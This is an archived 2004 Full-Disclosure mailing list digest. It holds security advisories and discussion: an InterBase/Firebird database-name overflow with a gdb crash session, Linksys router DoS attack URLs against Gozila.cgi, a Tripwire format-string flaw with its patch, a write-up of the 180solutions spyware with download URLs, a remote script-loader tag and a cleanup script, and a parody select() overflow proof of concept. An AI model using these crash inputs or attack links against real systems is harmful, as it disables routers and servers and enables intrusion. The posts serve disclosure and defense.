      Size/MD5 checksum:   205542 1d8c456c899a37c52cafe20b30f87025

  These files will probably be moved into the stable distribution on
  its next revision.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce at lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAviW/ArxCt0PiXR4RAq0xAJ46Z9xVC71WK7NaO/uvdopuVWueqQCgsnuC
cTAsMUOO2GOoREGty44NEa4=
=nl0I
-----END PGP SIGNATURE-----



From roman at rs-labs.com  Wed Jun  2 23:10:05 2004
From: roman at rs-labs.com (Roman Medina)
Date: Thu, 03 Jun 2004 00:10:05 +0200
Subject: [Full-Disclosure] Re: RS-2004-1: SquirrelMail "Content-Type" XSS vulnerability
In-Reply-To: <20040601235942.GS19402@alcor.net>
References: <ucdib0lfc67jlcbugut58aqubhbb456dbr@4ax.com> <20040601211332.GB1538@lupe-christoph.de> <424qb0hejaasctgams01s0hd8s1roapkc7@4ax.com> <20040601235942.GS19402@alcor.net>
Message-ID: <vejsb0l54bdad7htjk0bck42nj51ailokk@4ax.com>

On Tue, 1 Jun 2004 16:59:42 -0700, you wrote:

>On Wed, Jun 02, 2004 at 01:49:01AM +0200, Roman Medina wrote:
>
>> In other words, many vendors/developers silently fixes bugs and they don't
>> necesarily have to know who is packaging their software and inform them.
>
>this way.  There is no need to contact every downstream vendor directly;
>they monitor the usual channels.

----
#ifdef _security_perspective_
#define usual_channels bugtraq other_lists
#endif

#ifdef _devel_perspective_
#define usual_channels changelog_file
#endif

printf("My usual channels are: %s", usual_channels);
----

It was some kind of pseudocode :-) Question: which perspective are
using Debian maintainers to monitorize their packages? In the
particular case of SM, the old XSS issues were listed in ChangeLog,
but .deb package was not updated. Why?

 Saludos,
 --Roman

--
PGP Fingerprint:
09BB EFCD 21ED 4E79 25FB  29E1 E47F 8A7D EAD5 6742
[Key ID: 0xEAD56742. Available at KeyServ]



From kf_lists at secnetops.com  Thu Jun  3 03:03:51 2004
From: kf_lists at secnetops.com (KF (lists))
Date: Wed, 02 Jun 2004 22:03:51 -0400
Subject: [Full-Disclosure] Firebird [ AND Interbase 7 ]  Database Remote Database Name Overflow
In-Reply-To: <200406021043.25680.noamr@beyondsecurity.com>
References: <200406012040.14839.aviram@beyondsecurity.com> <3CF95025.7090202@secnetops.com> <200406021043.25680.noamr@beyondsecurity.com>
Message-ID: <40BE8707.6090707@secnetops.com>

Someone that has had some success communicating things security wise to 
Borland may wish to contact them about this.

[root at CloneRiot bin]# rpm -ivh /root/InterBaseSS_LI-V7.1.0-1.i386.rpm

[kf at CloneRiot bin]$ pwd
/opt/interbase/bin
[kf at CloneRiot bin]$ ./gsec -database 127.0.0.1:`perl -e'print ("A"x300)'`

(gdb) c
Continuing.
[New Thread 1085279152 (LWP 21355)]
[New Thread 1095769008 (LWP 21356)]
[New Thread 1106258864 (LWP 21357)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1085279152 (LWP 21355)]
0x41414141 in ?? ()
(gdb) bt
#0  0x41414141 in ?? ()
#1  0x41414141 in ?? ()
#2  0x41414141 in ?? ()
...
#35 0x41414141 in ?? ()
#36 0x41414141 in ?? ()
(gdb)

(gdb) i r
eax            0x0      0
ecx            0x82025e4        136324580
edx            0x0      0
ebx            0x81fe29c        136307356
esp            0x40aff5f8       0x40aff5f8
ebp            0x41414141       0x41414141
esi            0x12c    300
edi            0x40affab8       1085274808
eip            0x41414141       0x41414141
eflags         0x10246  66118

(gdb) x/1s $esp
0x40aff5f8:      'A' <repeats 144 times>

[root at CloneRiot interbase]# ./bin/ibserver
Segmentation fault
-KF


Noam Rathaus wrote:

>On Sunday 02 June 2002 01:52, KF (lists) wrote:
>  
>
>>So is this firebird specific or does it also impact Borland Interbase
>>users?
>>-KF
>>
>>    
>>
>We haven't tested Borland's Interbase as we didn't have any installation 
>available for testing. However I can assume that since this vulnerability 
>appears in version 1.0.2, which is of very close resemblance to Borland's 
>Interbase sources, that the vulnerability may also affect it.
>
>  
>



From etomcat at freemail.hu  Thu Jun  3 08:23:42 2004
From: etomcat at freemail.hu (Feher Tamas)
Date: Thu, 3 Jun 2004 09:23:42 +0200 (CEST)
Subject: [Full-Disclosure] Unidentified flying object code downs UK civilian airspace?
Message-ID: <freemail.20040503092342.40763@fm12.freemail.hu>

http://news.bbc.co.uk/2/hi/uk_news/3772077.stm
http://www.cnn.com/2004/WORLD/europe/06/03/britain.flight/index.html

Massive air disruption across UK

Thousands of air passengers are facing delays after an air
traffic control computer failure caused flights to be
suspended across the UK.

National Air Traffic Services said flights were grounded so
that controllers could prioritise on planes in the air, but
safety was unaffected.

The air traffic control centre at West Drayton is now fully
operational again but most flights remain on hold.

Many airports are advising people to check in as normal but
delays continue.

Adrian Yalland, spokesman for Nats, said: "Our computer
system is now fully operational and safety being our primary
concern we are now working to make sure those aircraft in
the air and in need of landing should be able to do so to
clear the delays." 

 He said the fault was thought to lie with the "flow of
data" in the system.

"The reasons why planes were grounded was because we
couldn't let them into the air which would add more
complications. "

Mr Yalland added: "The system is not going to go down again."
[That could mean it is not going to be brought back online,
ever. - me]

BBC transport correspondent Tom Symonds says the affected
computer systems were not those that handle the separation
of aircraft in the air.

He says the fault was in what is known as the host control
system, a two-year-old computer system at West Drayton.

The system handles flight strips which are the basic details
of flights coming in and out of the UK.



From b0fnet at yahoo.com  Thu Jun  3 09:31:06 2004
From: b0fnet at yahoo.com (b0f)
Date: Thu, 3 Jun 2004 01:31:06 -0700 (PDT)
Subject: [Full-Disclosure] DoS vuln in various versions of Linksys routers.
Message-ID: <20040603083106.3508.qmail@web14606.mail.yahoo.com>

Denial of Service Vulnerability in 
Linksys BEFSR41 - Router vuln was identified and
tested on.
Linksys BEFSR41 v3 
Linksys BEFSRU31 
Linksys BEFSR11 
Linksys BEFSX41
Linksys BEFSR81 v2/v3
Linksys BEFW11S4 v3
Linksys BEFW11S4 v4
Available from www.linksys.com
October 19, 2003 (Revised November 10, 2003)
Released Date: 3rd June 2004
NOTE: THIS ADVISORY WAS ORIGINALLY WITTEN FOR THE
Linksys BEFSR41 EtherFast Cable/DSL Router with 4-Port
Switch

I. BACKGROUND 
 
Linksys Group Inc.'s EtherFast Cable/DSL Router with
4-Port Switch 
"is the perfect option to connect multiple PCs to a
high-speed 
Broadband Internet connection or to an Ethernet
back-bone. Allowing 
up to 253 users, the built-in NAT technology acts as a
firewall 
protecting your internal network." More information
about it is 
available at 
http://www.linksys.com/products/product.asp?prid=20&grid=23

 
II. DESCRIPTION 
 
It is possible for a remote/local attacker to crash
the linksys router and
leave it in a state that it can't be accessed even
after reboot due to an 
invalid password. An attacker could set up a web page
or send an html 
email to someone inside the LAN to indirectly send
commands to the router.
An attacker could specify a URL that results in denial
of service. The DoS
Occurs when 2 long strings are sent to the sysPasswd
and sysPasswdConfirm
Parameters on the Gozila.cgi script, about 150
characters to each parameter
Seems to work fine. If an attacker can get the admin
of the router to view a link 
Or goto a webpage that links to such a link as this.

http://192.168.1.1/Gozila.cgi?sysPasswd=AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&sysPasswdConfirm=AAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAA&UPnP_Work=1&FactoryDefaults=0

The router will drop all internet connections making
the internet inaccessible from the 
LAN even if the router is powered off and back on. It
also seems to change the 
password in such a way that the admin can't log back
into the router and the only way 
to solve it is by pressing the factory reset button on
the front of the router, Which will 
then reset all previously stored settings and reset
the password back to factory default 
'admin'. The router would then need to be set back up
again from scratch.
 

REVISED NOVEMBER 10, 2003

                                                      
                                   
On November 10 2003 I found another overflow in
linksys router which is a similar attack  
method to the first vuln in this advisory. The DoS
occurs in this attack when a long      
string about 350 characters is passed to the
'DomainName' parameter of the Gozila.cgi     
script. An example of this attack would be to get the
admin of a router to visit a link   
like this.                                            
                                   
                                                      
                                   
http://192.168.1.1/Gozila.cgi?hostName=&DomainName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&WANConnectionSel=0&ipAddr1=192&ipAddr2=168&

ipAddr3=1&ipAddr4=1&netMask=0&WANConnectionType=1     
                                   
											
This would cause the router to crash and the Factory
reset button on the front of the     
Router would need to be pressed to restore it back to
normal working order.                                 
         
                                                      
                                   


III. ANALYSIS 
 
Exploitation may be particularly dangerous, especially
if the router's remote 
management capability is enabled. It may also be
easily exploited by fooling 
an admin of the router into clicking a link he/she
thinks is valid. This is probably 
vuln in older version of the firmware.
 
IV. DETECTION 
 
This vulnerability affects the BEFSR41 EtherFast
Cable/DSL router with the latest 
firmware version 1.45.7  I also tested version 1.44.2z
which is also vuln so probably 
all other version below this are also vuln . It may
also be possible that other version of 
Linksys routers are vuln to this attack if they use
the same type of management. I'm unable 
to confirm any other models that are vuln to this
attack. The Linksys BEFSRU31 and BEFSR11
use the same version of firmware as the BEFSR41 so
they are probably vuln.

NOTE ADDED June 3rd 2004: 
The Vendor confirmed this vuln in all version stated
at the start of this advisory
 
V. RECOVERY 
 
Pressing the reset button on the front of the router
and setting it back up from scratch 
should restore normal functionality to the router.
 
VI. WORKAROUND 
 
Don't click untrusted links.

VII. VENDOR
19 Oct 2003: First vuln discovered.
10 Nov 2003: Second vuln discovered.
01 Dec 2003: Vendor contacted via security at linksys.com
01 Dec 2003: Response Recived from
jay.price at linksys.com
10 Dec 2003: Issue been turned over to project manager
andreas.bang at linksys.com
17 Dec 2003: I was sent a beta release of the new
firmware witch fixed the vuln but 
             had a bug where the logging function
wouldn't work.
22 DEc 2003: andreas.bang at linksys.com now moved office
now to contact anbang at cisco.com
29 Jan 2004: Was told patches would be up in the next
week
29 Feb 2004: They said there was a problem with the
code, still no patches
24 Mar 2004: Recived a email about patches saying.
             BEFSR41 v3(Post on by 3/31)
             BEFSX41 (posted)
             BEFSR81 v2/v3(in progress)
             BEFW11S4 v3(post by 3/31)
             BEFW11S4 v4(posted)
02 Jun 2004: Advisory released to public still no
patch for the Linksys BEFSR41
             EtherFast Cable/DSL Router with 4-Port
Switch 
            
http://www.linksys.com/download/firmware.asp?fwid=3
             The version this advisory was first
written for it still remains vuln to date.


b0f (Alan McCaig)
b0fnet at yahoo.com
www.b0f.net


=====
www.b0f.net


	
		
__________________________________
Do you Yahoo!?
Friends.  Fun.  Try the all-new Yahoo! Messenger.
http://messenger.yahoo.com/ 



From sudharsha at sms.lk  Thu Jun  3 10:18:23 2004
From: sudharsha at sms.lk (sudharsha)
Date: Thu, 3 Jun 2004 15:18:23 +0600
Subject: [Full-Disclosure] watch guard
Message-ID: <006a01c4494b$b8c639b0$9f64a8c0@eng>

Hi all

Does any one know a vulnarability in Watch guard?

Rgds
Sudharsha



From pherman at frenchfries.net  Thu Jun  3 00:41:16 2004
From: pherman at frenchfries.net (Paul Herman)
Date: Wed, 2 Jun 2004 16:41:16 -0700 (PDT)
Subject: [Full-Disclosure] Format String Vulnerability in Tripwire
Message-ID: <20040602234116.9A3674A5B@frenchfries.net>

SUMMARY
-------
Tripwire(tm) is a Security, Intrusion Detection, Damage Assessment
and Recovery, Forensics software.

A vulnerability in the product allows a user on the local machine
under certain circumstances to execute arbitrary code with the
rights of the user running the program (typically root).


VERSIONS AFFECTED
-----------------
Tripwire commercial versions <= 2.4
Tripwire open source versions <= 2.3.1


DETAILS
-------
A format string vulnerability exists when tripwire generates an
email report (i.e. 'tripwire -m c -M').  Each line of the report is
passed to an fprintf() function in pipedmailmessage.cpp in the
following manner:

	fprintf(mpFile, s.c_str() );

If a local user were to create a file with a carefully crafted
filename on the local system, that filename may be included in the
report and passed to fprintf() (albeit from the heap.)  No exploit
is known at this time, but the author of this advisory believes
this vulnerability could be exploitable.

Tripwire Inc. has been notified and has implemented a fix.


IMPACT
------
This vulnerability allows an attacker to execute arbitrary code
with the rights of the user running the file check, which is
typically root. The vulnerability exists only when tripwire is used
to generate an email report.  Users who do not generate an email
report are not affected by this vulnerability.


WORKAROUND
----------
Disable email reporting.  All users are advised to upgrade to a
version which is not vulnerable.


PATCH
-----
If you are using Open Source Tripwire(tm) version 2.3.1, the
following patch will fix this particular issue:

Index: src/tripwire/pipedmailmessage.cpp
===================================================================
retrieving revision 1.1
retrieving revision 1.2
diff -u -r1.1 -r1.2
--- src/tripwire/pipedmailmessage.cpp   21 Jan 2001 00:46:48 -0000      1.1
+++ src/tripwire/pipedmailmessage.cpp   26 May 2004 20:59:15 -0000      1.2
@@ -180,7 +180,7 @@

 void cPipedMailMessage::SendString( const TSTRING& s )
 {
-    if( _ftprintf( mpFile, s.c_str() ) < 0 )
+    if( _ftprintf( mpFile, "%s", s.c_str() ) < 0 )
     {
         TOSTRINGSTREAM estr;
         estr << TSS_GetString( cTripwire, tripwire::STR_ERR2_MAIL_MESSAGE_COMMAND )


AUTHOR OF ADVISORY
------------------
Paul Herman <pherman at frenchfries.net>


ACKNOWLEDGEMENT
---------------
I would like to thank Robert C. Jacobson <8dgb6hw02 at sneakemail.com>
for an initial bug report which led to me discovering this
vulnerability.


TRIPWIRE TRADEMARK NOTICE
-------------------------
The developer of the original code and/or files is Tripwire, Inc.
Portions created by Tripwire, Inc. are copyright 2000 Tripwire,
Inc. Tripwire is a registered trademark of Tripwire, Inc.  All
rights reserved.

Nothing in the GNU General Public License or any other license to
use the code or files shall permit you to use Tripwire's
trademarks, service marks, or other intellectual property without
Tripwire's prior written consent in the form of a license agreement
signed by an officer of Tripwire, Inc.

If you have any questions, please contact Tripwire, Inc. at either
info at tripwire.org or www.tripwire.org.



From theinsider at 012.net.il  Thu Jun  3 03:20:48 2004
From: theinsider at 012.net.il (Rafel Ivgi, The-Insider)
Date: Thu, 3 Jun 2004 04:20:48 +0200
Subject: [Full-Disclosure] 180 Solutions Exploits and Toolbars Hacking Patched Users(I.E Exploits)
Message-ID: <000701c44911$62555e10$aa41b350@fucku>

                                                                     180
Solutions Exploits and Toolbars Hacking Patched Users

By Rafel Ivgi, The-Insider



Table Of Contents:
*********************
1. Class Name
2. Infecting Files
3. Related Registery Entries
4. Cleaner
5. Solution
6. Visit : http://theinsider.deep-ice.com



1. Class Name: iiittt Class
****************************
*Comment : All actions preformed on your machine are logged in the following
hidden file:
C:\WINDOWS\system32\log.bak.txt

Class Id : {FE1A240F-B247-4E06-A600-30E28F5AF3A0}
Downloading c:\install.cab
Excuting c:\install.htm



2. Infecting Files:
********************
http://bis.180solutions.com/config.aspx?did=565&ver=5.4&duid=!!generate!!&partner_id=&product_id=&browser_ok=y&rnd=34&basename=msbb&SID=YJGHCHUV&OS=5.1.2600.2&SLID=1037&ULID=1037&TLOC=1037&ACP=1255&OCP=862&DB=iexplore.exe&IEV=6.0.2800.1&TPM=267890688&APM=42033152&TVM=2147352576&AVM=2084216832&FDS=1542299648&LAD=1601:1:1:0:0:0&WE=5
http://downloads.180solutions.com/keywords/kyf.258.gz to
c:\windows\system32\kyf.dat
http://installs.180solutions.com/downloads/boom/2.0/RBoomerang.1 to
C:\WINDOWS\abolaror.exe
http://bis.180solutions.com/config.aspx?did=565&ver=5.4&duid=75abwcaqgjvflgcejdnaqqqzfsuohz&partner_id=181844781&product_id=565&browser_ok=y&rnd=26&basename=msbb&SID=AZWDUFMF&OS=5.1.2600.2&SLID=1037&ULID=1037&TLOC=1037&ACP=1255&OCP=862&DB=iexplore.exe&IEV=6.0.2800.1&TPM=267890688&APM=49520640&TVM=2147352576&AVM=2070482944&FDS=1538985984&LAD=1601:1:1:0:0:0&WE=5
c:\windows\system32\FLEOK\msbb.exe from
http://installs.180solutions.com/downloads/5.6/msbb.exe
http://installs.180solutions.com/downloads/5.6/msbb.exe to
c:\windows\system32\FLEOK\msbb.exe
http://bis.180solutions.com/config.aspx?did=565&ver=5.6&duid=75abwcaqgjvflgcejdnaqqqzfsuohz&partner_id=181844781&product_id=565&browser_ok=y&rnd=9&basen
ame=msbb&MID=774831B9D28472F7ED045AA9D3CCF92902BD254A&SID=NYBQFSPS&OS=5.1.26
00.2&SLID=1037&ULID=1037&TLOC=1037&ACP=1255&OCP=862&DB=iexplore.exe&IEV=6.0.
2800.1&TPM=267890688&APM=70152192&TVM=2147352576&AVM=2070474752&FDS=15387238
40&LAD=1601:1:1:0:0:0&WE=5&TCA=0&SCA=0&MRDS=0
http://installs.180solutions.com/Downloads/DLL/3.0/ncmyb.dll to
c:\windows\system32\FLEOK\ncmyb.dll
http://tv.180solutions.com/showme.aspx?keyword=.tightasianass.com&did=565&ver=5.6&duid=75abwcaqgjvflgcejdnaqqqzfsuohz&partner_id=181844781&product_id=565&browser_ok=y&rnd=32&basename=msbb&MID=774831B9D28472F7ED045AA9D3CCF92902BD254A&bid=0&SID=NYBQFSPS&OS=5.1.2600.2&SLID=1037&ULID=1037&TLOC=1037&ACP=1255&OCP=862&DB=iexplore.exe&IEV=6.0.2800.1&TPM=267890688&APM=61321216&TVM=2147352576&AVM=2051579904&FDS=1538109440&LAD=1601:1:1:0:0:0&WE=5
http://216.130.188.219/ei2/index.html
http://69.42.67.154/topbucks/tp2/index.html
http://216.130.188.219/ei2/installer.htm
http://69.42.67.154/topbucks/tp2/index.html
<SCRIPT%20SRC=\'http://216.130.188.219/ei2/shellscript_loader_js.php?ref=und
efined\'></SCRIPT>
http://exits.freepornpics.com/timed_exits/straight_timed_pop.htm
http://216.130.188.219/ei2/index.html
http://69.42.67.154/_mpbfpas/free_trial_multisite/index.html
http://tv.180solutions.com/showme.aspx?keyword=trial&did=565&ver=5.6&duid=75abwcaqgjvflgcejdnaqqqzfsuohz&partner_id=181844781&product_id=565&browser_ok=y&rnd=23&basename=msbb&MID=774831B9D28472F7ED045AA9D3CCF92902BD254A&bid=0&SID=NYBQFSPS&OS=5.1.2600.2&SLID=1037&ULID=1037&TLOC=1037&ACP=1255&OCP=862&DB=iexplore.exe&IEV=6.0.2800.1&TPM=267890688&APM=37040128&TVM=2147352576&AVM=2031108096&FDS=1536757760&LAD=1601:1:1:0:0:0&WE=5
http://exits.freepornpics.com/timed_exits/fpa_pinkpays.html
http://www.i-lookup.com/index1.php


3. Related Registery Entries:
******************************
[HKEY_CLASSES_ROOT\CLSID\{FE1A240F-B247-4E06-A600-30E28F5AF3A0}]
@="iiittt Class"

[HKEY_CLASSES_ROOT\CLSID\{FE1A240F-B247-4E06-A600-30E28F5AF3A0}\Control]

[HKEY_CLASSES_ROOT\CLSID\{FE1A240F-B247-4E06-A600-30E28F5AF3A0}\Implemented
Categories]

[HKEY_CLASSES_ROOT\CLSID\{FE1A240F-B247-4E06-A600-30E28F5AF3A0}\Implemented
Categories\{7DD95802-9882-11CF-9FA9-00AA006C42C4}]

[HKEY_CLASSES_ROOT\CLSID\{FE1A240F-B247-4E06-A600-30E28F5AF3A0}\InprocServer
32]
@="C:\\WINDOWS\\System32\\windec32.dll"
"ThreadingModel"="Apartment"

[HKEY_CLASSES_ROOT\CLSID\{FE1A240F-B247-4E06-A600-30E28F5AF3A0}\MiscStatus]
@="0"

[HKEY_CLASSES_ROOT\CLSID\{FE1A240F-B247-4E06-A600-30E28F5AF3A0}\MiscStatus\1
]
@="131473"

[HKEY_CLASSES_ROOT\CLSID\{FE1A240F-B247-4E06-A600-30E28F5AF3A0}\ProgID]
@="windec.iiittt.1"

[HKEY_CLASSES_ROOT\CLSID\{FE1A240F-B247-4E06-A600-30E28F5AF3A0}\Programmable
]

[HKEY_CLASSES_ROOT\CLSID\{FE1A240F-B247-4E06-A600-30E28F5AF3A0}\ToolboxBitma
p32]
@="C:\\WINDOWS\\System32\\windec32.dll, 102"

[HKEY_CLASSES_ROOT\CLSID\{FE1A240F-B247-4E06-A600-30E28F5AF3A0}\TypeLib]
@="{660B38CB-6349-4C67-A418-AADABAE09C38}"

[HKEY_CLASSES_ROOT\CLSID\{FE1A240F-B247-4E06-A600-30E28F5AF3A0}\Version]
@="1.0"

[HKEY_CLASSES_ROOT\CLSID\{FE1A240F-B247-4E06-A600-30E28F5AF3A0}\VersionIndep
endentProgID]
@="windec.iiittt"

[HKEY_CLASSES_ROOT\windec.iiittt]
@="iiittt Class"

[HKEY_CLASSES_ROOT\windec.iiittt\CLSID]
@="{FE1A240F-B247-4E06-A600-30E28F5AF3A0}"

[HKEY_CLASSES_ROOT\windec.iiittt\CurVer]
@="windec.iiittt.1"

[HKEY_CLASSES_ROOT\windec.iiittt.1]
@="iiittt Class"

[HKEY_CLASSES_ROOT\windec.iiittt.1\CLSID]
@="{FE1A240F-B247-4E06-A600-30E28F5AF3A0}"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Code Store Database\Distribution
Units\{FE1A240F-B247-4E06-A600-30E28F5AF3A0}]
"SystemComponent"=dword:00000000
"Installer"="MSICD"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Code Store Database\Distribution
Units\{FE1A240F-B247-4E06-A600-30E28F5AF3A0}\Contains]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Code Store Database\Distribution
Units\{FE1A240F-B247-4E06-A600-30E28F5AF3A0}\Contains\Files]
"C:\\WINDOWS\\System32\\windec32.dll"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Code Store Database\Distribution
Units\{FE1A240F-B247-4E06-A600-30E28F5AF3A0}\DownloadInformation]
"CODEBASE"="file://C:\\install.cab"
"INF"="C:\\WINDOWS\\Downloaded Program Files\\windec32.inf"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Code Store Database\Distribution
Units\{FE1A240F-B247-4E06-A600-30E28F5AF3A0}\InstalledVersion]
@="2,0,0,0"


4. Cleaner:
*************
Filename=180killer.bat:
 -------------------------------------------CUT
ERE  -------------------------------------------------
taskkill /f /im iexplore.exe
taskkill /f /im explorer.exe
taskkill /f /im dllhost.exe
del c:\install.htm
del c:\install.cab
taskkill /f /im abolaror.exe
del C:\WINDOWS\abolaror.exe
taskkill /f /im msbb.exe
del c:\windows\system32\FLEOK\msbb.exe
taskkill /f /im apconaj.exe
del c:\windows\system32\apconaj.exe
taskkill /f /im alchem.exe
del c:\windows\alchem.exe
rmdir /s /q c:\windows\system32\FLEOK
rmdir /s /q c:\windows\sbnet
del C:\WINDOWS\System32\windec32.dll
explorer.exe
reg DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ /v ShowBehind
/f
reg DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ /v msbb /f
reg DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ /v abolaror
/f
reg DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ /v
chiqarsfneg /f
reg DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ /v alchem /f
 -------------------------------------------CUT
ERE  -------------------------------------------------


5. Solution:
*************
The excution of this Internet Exploerer exploit was caused by ms-its[Even
Patched].
The ms-its protocol is not needed for windows normal operations, therefore
it should be removed.
XPLizer - Windows Hardning Frontend Tool - Updated for removing ms-its
protocol.
http://www.securiteam.com/tools/5EP081FCKI.html
The sources of XPLizer can be found at
http://theinsider.deep-ice.com/xplizer-src.zip
An executable version can be found at
http://theinsider.deep-ice.com/xplizer.zip
The official readme file for XPLizer can be found at
http://theinsider.deep-ice.com/readme.txt



From etomcat at freemail.hu  Thu Jun  3 10:25:14 2004
From: etomcat at freemail.hu (Feher Tamas)
Date: Thu, 3 Jun 2004 11:25:14 +0200 (CEST)
Subject: [Full-Disclosure] Twenty years after 1984 or, well...
Message-ID: <freemail.20040503112514.69700@fm2.freemail.hu>

http://www.theregister.co.uk/2004/06/03/text_punk/

Secret Police slap cuffs on Punk SMSer
by Lucy Sherriff, TheRegister, 3 June 2004

A tech worker was arrested yesterday after a text message he sent 
was intercepted and traced back to his phone.

In a scene reminiscent of Neo's first escape from Agent Smith, Special 
Branch officers slapped the cuffs on Mike Devine at his office in Bristol 
yesterday, and took him away for questioning.

Devine, who plays in a Clash tribute band in his spare time, had sent a 
message containing lyrics from The Clash's Tommy Gun to his lead 
singer who had forgotten the words to the song.

According to The Sun, the message read:
"How about this for Tommy Gun? OK - SO LET'S AGREE ABOUT THE 
PRICE AND MAKE IT ONE JET AIRLINER AND TEN PRISONERS"

The arrest has prompted speculation about how the message was 
intercepted. Police maintain that Devine's message went astray. They 
say he actually sent it to a woman in Bristol by mistake and it was she 
who alerted police to the content.

!>However, The Sun quotes Chris Dobson, a terrorism expert, as
!>saying that the interception clearly shows that GCHQ is
!>monitoring all vocal and textual mobile phone traffic.

Devine himself is slightly bemused by the incident. He said: "It hadn't 
even occurred to me that it might look a bit dodgy. It was quite nerve 
wracking for Special Branch to come looking for you at work. I was 
thinking, Oh God, what have I done?"

The police questioned Devine about his phone, and asked if he had 
used it to send texts at the end of April. They showed him a print out of 
the text and asked him to confirm that he had sent it. "I said, 'That's 
the lyrics from Tommy Gun. I'm in a tribute band'," Devine said.

Fortunately, once he explained that the message was not part of a 
terrorist plot, the police accepted his explanation and let him go, but 
not before suggesting to Devine that he be careful about where he 
sent such messages in future.

Big Brother is watching you!



From goggles at hush.com  Thu Jun  3 11:19:15 2004
From: goggles at hush.com (goggles at hush.com)
Date: Thu,  3 Jun 2004 03:19:15 -0700
Subject: [Full-Disclosure] GOGGLES ADVISORY: FLAW IN MAJOR DISTRIBUTIONS
Message-ID: <200406031019.i53AJIsL030902@mailserver2.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1



                                 _,--,            _
                            __,-'____| ___      /' |
                          /'   `\,--,/'   `\  /'   |
                         (       )  (       )'
                          \_   _/'  `\_   _/
                            """        """
                            I R WATCHING Y0U

                GOGGLES SECURITY ADVISORY #forty-two

GOGGLES has discovered attempt of big security company to disclose bug
in many major UNIX variants.
GOGGLES believes in perfect world and security bug should not be disclosed
by company to make quick fame and money, but to selflessly strive for
collective effort to make better and more secure world for everyone to
live in.
GOGGLES strives for this and decides to regulate release of information
with this ethical ideal in mind and not capitalistic gain for big company.

GOGGLES explicitly disclaims credit for discovery, and has to tell world
company did not make discovery either, even if it claims so afterwards.
Discovery seems to have been made by tribes of pagans and heretics who
are yet to achieve Enlightenment and discover True Path of
Full-Disclosure.

Problem GOGGLES did not discover but tries to make perfect world with
is in libc select() function.
select() is bad way to do event driven notification for io events, GOGGLES
believes true men and real women use epoll or kqueue these days, and
that only real idiots use /dev/poll.
select() is bad for security as well, as Theo de Raadt proved with
OpenBSD operating system.

Pagans discovered fd_set structure select() uses often allocates static
amount of space for monitoring descriptors for events.
Proof of concept code kindly provided in sys/select.h from glibc, where
idiots coded:
        __fd_mask fds_bits[__FD_SETSIZE / __NFDBITS];

GOGGLES notes that every descriptor is tracked by single bit, and this
way normally 128 bytes will be reserved for 1024 descriptors.
Pagans decided that rlimit for amount open files is 1024 as well, so
code will not go *BOOM* and is more secure than OpenBSD code (note: in
this respect they seem to be right).
Now pagans decided that rlimit for amount of open files raised above
1024 could make select() *BOOM* and proceeded to check theory.
GOGGLES did check on glibc bits/select.h to verify pagan idea, and found
that bigger idiots coded amongst others:

# define __FD_SET(fd, fdsp) \
  __asm__ __volatile__ ("btsl %1,%0"                             \
                        : "=m" (__FDS_BITS (fdsp)[__FDELT (fd)]) \
                        : "r" (((int) (fd)) % __NFDBITS)         \
                        : "cc","memory")

So pagan hypothesis would work in theory, GOGGLES not believed eyes,
and continued test with proof-of-concept code for believers in True
Path who are more rigid than pagans in accepting the obvious and
comprehending the world around them; this of course in perfect analogy
with christians and pagans we all heard of.

#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/select.h>
#include <fcntl.h>

int main(void) {
        struct rlimit _;
        char __[256];
        fd_set ___;
        unsigned int ____;

        _.rlim_cur = _.rlim_max = 0xDULL + 0xC0DE;

        if(setrlimit(RLIMIT_NOFILE, &_) == -1) {
                fprintf(stderr, "GOGGLE GOGGLE\n");
                exit(EXIT_FAILURE);
        }
        memset(__, 0, sizeof(__));
        for(____ = 3; ____ < 1024; ____++)
                close(____);
        for(____ = 0; ____ < 1024 + sizeof(__) * 8; ____++) {
                int _;

                if( (_ = open("/dev/null", O_RDONLY)) != -1)
                        FD_SET(_, &___);
                else {
                        fprintf(stderr, "GOGGLE GOGGLE\n");
                        exit(EXIT_FAILURE);
                }
        }
        printf("%s\n", &0[__]); /* diz is to look stupid */
}

Now GOGGLES run example code on Linux machine at home, and find this
output:
